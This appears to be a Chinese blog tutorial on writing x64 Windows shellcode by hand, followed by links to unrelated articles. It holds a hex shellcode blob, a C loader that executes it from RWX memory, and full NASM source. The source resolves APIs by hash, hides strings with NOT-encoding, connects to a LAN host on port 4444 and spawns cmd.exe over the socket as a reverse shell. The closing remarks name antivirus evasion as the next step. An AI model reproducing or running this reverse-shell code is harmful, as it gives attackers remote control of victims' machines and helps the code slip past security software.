\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x48\xff\xc9\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x44\x8b\x5a\x24\x4d\x01\xc3\x66\x41\x8b\x0c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x41\x8b\x04\x8b\x4c\x01\xc0\x49\x89\xc4\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe1\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x48\x89\xc3\x4d\x89\xe1\x48\x89\xf9\x48\xb8\x6f\x63\x65\x73\x73\x41\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x43\x72\x65\x61\x74\x65\x50\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x49\x89\xc5\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc6\x4c\x89\xf1\xb8\x75\x70\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x74\x61\x72\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x49\x89\xc7\x4c\x89\xf1\xb8\x74\x41\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x6f\x63\x6b\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x48\x89\xc6\x4c\x89\xf1\xb8\x63\x74\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x43\x6f\x6e\x6e\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x48\x89\xc7\x4d\x89\xee\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x28\x41\xff\xd7\x48\x83\xc4\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd6\x48\x83\xc4\x30\x49\x89\xc4\x49\x89\xc5\x4c\x89\xe9\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\x04\x24\x66\xb8\x11\x5c\x66\x89\x44\x24\x02\xb8\xc0\xa8\x01\x85\x48\x89\x44\x24\x04\x48\x8d\x14\x24\x41\xb8\x16\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x41\x51\x48\x83\xc4\x08\x48\x83\xec\x60\x48\x83\xec\x60\xff\xd7\x48\x83\xc4\x30\x48\xb8\x63\x6d\x64\x2e\x65\x78\x65\x00\x50\x48\x89\xe1\x41\x55\x41\x55\x41\x55\x48\x31\xc0\x50\x50\x66\x50\xb0\x01\xc1\xe0\x08\x66\x50\x48\x31\xc0\x50\x50\x50\x66\x50\x66\x50\x50\x50\x50\xb0\x68\x50\x48\x89\xe7\x48\x89\xe0\x48\x83\xe8\x18\x50\x57\x48\x31\xc0\x50\x50\x50\x48\xff\xc0\x50\x48\x31\xc0\x49\x89\xc0\x49\x89\xc1\x48\x89\xca\x48\x89\xc1\x48\x83\xec\x20\x41\xff\xd6\xb9\x00\x00\x00\x00\xff\xd3

然后利用我们的加载器(C语言版本),加载执行

C 复制代码
#include <windows.h>
#include <stdio.h>
#include <signal.h>

unsigned char shellcode[] = 
"ShellCode";	// 在这里填入我们的shell

void handler(int sig) {
    printf("Exception occurred! (signal %d)\n", sig);
    exit(1);
}

int main() {
    printf("Loading Shellcode...\n");
    printf("Shellcode size: %d bytes\n", sizeof(shellcode));
    signal(SIGSEGV, handler);
    signal(SIGILL, handler);
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) {
        printf("VirtualAlloc failed: %d\n", GetLastError());
        return 1;
    }
    memcpy(exec, shellcode, sizeof(shellcode));
    printf("Shellcode at: 0x%p\n", exec);
    // 执行
    ((void(*)())exec)();
    printf("Shellcode returned (should not happen)\n");
    VirtualFree(exec, 0, MEM_RELEASE);
    return 0;
}
复制代码
gcc -o loader.exe loader.c -m64

也是可以成功执行的

总结

x64汇编写ShellCode只是基础,怎么将这个ShellCode的恶意特征消除,针对杀软进行防御规避,还有好长的路,但是我们已经走出了从0到1的一步,从借用他人的到拥有自己的ShellCode。

复制代码
BITS 64
SECTION .text
global main

main:
    sub rsp, 0x28
    and rsp, 0xFFFFFFFFFFFFFFF0 ; 栈对齐
    ; =================================================================
    ; 1. 通过 PEB 获取 kernel32.dll 基地址
    ; =================================================================
    xor rcx, rcx
    mov rax, [gs:rcx+0x60] ; PEB
    mov rax, [rax+0x18] ; PEB->Ldr
    mov rsi, [rax+0x10] ; InLoadOrderModuleList
    mov rsi, [rsi] ; ntdll.dll
    mov rsi, [rsi] ; kernel32.dll
    mov rbp, [rsi+0x30] ; RBP = kernel32.dll 基地址

    ; =================================================================
    ; 2. 使用 Hash 解析 kernel32.dll 中的 API
    ; =================================================================
    ; 获取 LoadLibraryA
    mov rcx, rbp
    mov edx, 0xa4a1011b
    call GetApiByHash
    mov r15, rax

    ; 获取 CreateProcessA
    mov rcx, rbp
    mov edx, 0x4b09a53c
    call GetApiByHash
    mov r14, rax

    ; 获取 ExitProcess
    mov rcx, rbp
    mov edx, 0xe3db70a7
    call GetApiByHash
    mov r13, rax

    ; =================================================================
    ; 3. 加载 ws2_32.dll 并获取其基地址
    ; =================================================================
    mov rax, 0x6F6F9393
    not rax
    shl eax, 0x10
    shr eax, 0x10
    push rax
    mov rax, 0x9BD1CDCCA0CD8C88
    not rax
    push rax
    mov rcx, rsp
    sub rsp, 0x20
    call r15
    add rsp, 0x30
    mov rbp, rax

    ; =================================================================
    ; 4. 使用 Hash 解析 ws2_32.dll 中的 API
    ; =================================================================
    ; 获取 WSAStartup
    mov rcx, rbp
    mov edx, 0x2e226fcc
    call GetApiByHash
    mov r12, rax

    ; 获取 WSASocketA
    mov rcx, rbp
    mov edx, 0x180eabdd
    call GetApiByHash
    mov rsi, rax

    ; 获取 WSAConnect
    mov rcx, rbp
    mov edx, 0x18dc290c
    call GetApiByHash
    mov rdi, rax

    ; =================================================================
    ; 5. 执行反弹 Shell 逻辑
    ; =================================================================
    ; 调用 WSAStartup
    xor rcx, rcx
    mov cx, 0x198
    sub rsp, rcx
    lea rdx, [rsp]
    mov cx, 0x202
    sub rsp, 0x28
    call r12
    add rsp, 0x28 + 0x198

    ; 调用 WSASocketA
    xor rcx, rcx
    mov cl, 2
    xor rdx, rdx
    mov dl, 1
    xor r8, r8
    mov r8b, 6
    xor r9, r9
    push r9
    push r9
    sub rsp, 0x20
    call rsi
    add rsp, 0x28
    mov rbx, rax

    ; 调用 WSAConnect
    mov rcx, rbx
    xor rax, rax
    push rax
    push rax
    mov ax, 0x5C11
    shl eax, 16
    add ax, 2
    push rax
    mov rax, 0x8501A8C0
    mov [rsp+4], eax
    lea rdx, [rsp]
    mov r8, 0x16
    xor r9, r9
    push r9
    push r9
    push r9
    sub rsp, 0x20
    call rdi
    add rsp, 0x48

    ; 准备 "cmd.exe" 字符串
    mov rax, 0xFF9A879AD19B929C		; not 运算消除cmd.exe硬编码
    push rax
    not qword[rsp]
    mov rdx, rsp                  ; RDX = lpCommandLine
    ; 保存 socket 到 r13(因为后续 rep stosq 会破坏 rbx,我们借用 r13 临时存放 socket)
    mov r13, rbx                  ; r13 = socket handle(hStdInput/Output/Error)
    ; 2. 准备栈空间(总计 0xD8,保证 16 字节对齐)
    ; STARTUPINFOA (0x68) + PROCESS_INFORMATION (0x18) + 栈参数 (0x30) + 影子空间 (0x20) + 前面 cmd push (0x08)
    sub rsp, 0xD8
    ; 3. 清零 SI 和 PI 空间
    lea rdi, [rsp + 0x50]
    xor rax, rax
    mov rcx, 0x10                 ; 128 字节清零
    rep stosq
    ; 4. 填充 STARTUPINFOA
    lea rdi, [rsp + 0x50]         ; RDI = &STARTUPINFOA
    mov dword [rdi], 0x68         ; cb = 0x68
    mov dword [rdi + 0x3C], 0x100 ; dwFlags = STARTF_USESTDHANDLES
    mov [rdi + 0x50], r13         ; hStdInput  = socket
    mov [rdi + 0x58], r13         ; hStdOutput = socket
    mov [rdi + 0x60], r13         ; hStdError  = socket

    ; 5. 设置 CreateProcessA 参数
    xor rcx, rcx                  ; rcx = lpApplicationName = NULL
    xor r8, r8                    ; r8  = lpProcessAttributes = NULL
    xor r9, r9                    ; r9  = lpThreadAttributes = NULL

    mov qword [rsp + 0x20], 1     ; 5th: bInheritHandles = TRUE
    mov qword [rsp + 0x28], 0     ; 6th: dwCreationFlags = 0
    mov qword [rsp + 0x30], 0     ; 7th: lpEnvironment = NULL
    mov qword [rsp + 0x38], 0     ; 8th: lpCurrentDirectory = NULL
    mov [rsp + 0x40], rdi         ; 9th: lpStartupInfo = &STARTUPINFOA

    lea rax, [rsp + 0xB8]         ; 10th: lpProcessInformation(PI 位置)
    mov [rsp + 0x48], rax

    ; 6. 调用
    call r14

    add rsp, 0xD8 + 8             

    ; 6. 退出进程
    xor rcx, rcx
    call r13

; =====================================================================
; 子程序: GetApiByHash
; =====================================================================
GetApiByHash:
    push rbx
    push rsi
    push rdi
    push r8
    push r9
    push r10
    push r11
    mov r8, rcx
    mov ebx, [r8+0x3C]
    add rbx, r8
    mov ebx, [rbx+0x88]
    add rbx, r8
    mov r10d, [rbx+0x18]
    mov r11d, [rbx+0x20]
    add r11, r8

.find_api_loop:
    dec r10
    js .api_not_found
    mov esi, [r11+r10*4]
    add rsi, r8

    xor eax, eax
.calc_hash:
    movzx r9, byte [rsi]
    test r9, r9
    jz .check_hash
    rol eax, 5
    xor eax, r9d
    inc rsi
    jmp .calc_hash

.check_hash:
    cmp eax, edx
    jnz .find_api_loop

    mov r11d, [rbx+0x24]
    add r11, r8
    movzx r10, word [r11+r10*2]
    mov r11d, [rbx+0x1C]
    add r11, r8
    mov eax, [r11+r10*4]
    add rax, r8
    jmp .end_func

.api_not_found:
    xor rax, rax

.end_func:
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdi
    pop rsi
    pop rbx
    ret

nasm -fwin64 ShellCode.asm
gcc -m64 ShellCode.obj -o ShellCode.exe -lkernel32 -lws2_32 -nostartfiles
相关推荐
一只鼠标猴2 小时前
甲方应急响应:从事件处置到溯源闭环实战指南
安全·web安全·网络安全·应急响应·应急·应急溯源
玖釉-2 小时前
暴力美学与极致性能:深度解析 Meshoptimizer 的 Sloppy 减面算法
c++·windows·图形渲染
dashizhi20153 小时前
服务器共享文件禁止下载、禁止拖动共享文件到本地磁盘、禁止拷贝共享文件
运维·服务器·windows
水饺编程3 小时前
第4章,[标签 Win32] :SysMets3 程序讲解02,iVertPos
c语言·c++·windows·visual studio
私人珍藏库3 小时前
[Windows] 随机加密工具 7z密压 v1.0
windows·工具·软件·多功能
zmj3203243 小时前
UNR -155 Annex 5提示的威胁及其编号
网络·安全·网络安全
HUGu RGIN3 小时前
Redis 下载与安装 教程 windows版
数据库·windows·redis
csdn2015_4 小时前
java 将 List<Map<String,Object>> 类型里面的值转换为List<String>
java·windows·list
小白电脑技术4 小时前
如何给OpenClaw配置模型提供商API和大模型?
windows·电脑·openclaw